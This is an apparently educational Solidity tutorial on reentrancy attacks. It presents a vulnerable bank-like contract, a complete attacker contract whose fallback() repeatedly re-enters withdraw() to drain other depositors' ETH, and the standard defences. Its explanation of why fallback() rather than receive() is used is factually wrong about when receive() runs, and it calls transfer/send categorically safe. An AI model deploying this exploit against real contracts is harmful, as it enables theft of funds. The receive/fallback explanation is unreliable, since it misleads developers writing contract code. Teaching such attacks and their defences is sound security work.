The vulnerable service
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ServiceContract {
mapping(address => uint) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint balance = balances[msg.sender];
require(balance > 0, "No funds");
// ❌ Vulnerable: external call before state update
(bool sent, ) = msg.sender.call{value: balance}("");
require(sent, "Failed");
balances[msg.sender] = 0;
}
}
Business Scenario
The service contract is like a bank, holding the assets for the clients. When a client deposit
msg.value
the ETH, it records the balance in the ledger balances. When the clients withdraws, it checks the ledger balance, and sends msg.sender
all the balance with the assumption the client will do nothing when receiving this fund, and clears the ledger thereafter.
The malicious client
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ClientContract {
ServiceContract public service;
constructor(address _service) {
service = ServiceContract(_service);
}
// Kick off the attack
function attack() external payable {
require(msg.value >= 1 ether);
service.deposit{value: msg.value}();
service.withdraw();
}
fallback() external payable {
if (address(service).balance >= 1 ether) {
service.withdraw(); // reenter!
}
}
}
The client is not regular client, but a client who exploits the logic vulnerability of the service, when it receives funds through the fallback() function, it will initiate a new withdraw() request as long as the ledger is stale and validate the withdraw, it got the balance of the service contract, i.e. a lot of third party clients' money until it falls below 1 ETH.
Defenses against the reentrance attack
// ✔️ Checks–Effects–Interactions
function safeWithdraw() external {
uint balance = balances[msg.sender];
require(balance > 0, "No funds");
balances[msg.sender] = 0; // effect first
(bool sent, ) = msg.sender.call{value: balance}("");
require(sent, "Failed");
}
// ✔️ Using ReentrancyGuard
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract GuardedService is ReentrancyGuard {
mapping(address=>uint) public balances;
// deposit() same...
function withdraw() external nonReentrant {
uint balance = balances[msg.sender];
require(balance>0);
balances[msg.sender]=0;
(bool sent,)=msg.sender.call{value:balance}("");
require(sent);
}
}
Why the client uses the fallback() function instead of the receive() function directly to execute a reentrancy attack.
The receive() function is invoked when a contract receives Ether without any data (i.e., via send() or transfer()). These methods forward only 2300 gas, which is insufficient for complex operations like re-entering another contract. Conversely, call{value: amount}("") forwards all remaining gas, allowing the fallback() function to execute more complex logic, including reentrant calls.
Unsafe transfer method:
payable(msg.sender).call{value: amount}(""); // UNSAFE!
The attacker’s receive() can execute further calls, allowing reentrancy.
Safe transfer methods:
payable(msg.sender).transfer(amount); // safe (2300 gas)
payable(msg.sender).send(amount); // safe (2300 gas, but check
The attacker’s receive() function will fail if it tries any logic beyond simple logging or receiving funds due to the low gas limit.
A regular client address (EOA—Externally Owned Account) that does not have a contract cannot execute code upon receiving Ether. Only a contract can execute logic automatically upon receiving Ether.
Please try it yourself at https://ethernaut.openzeppelin.com/level/10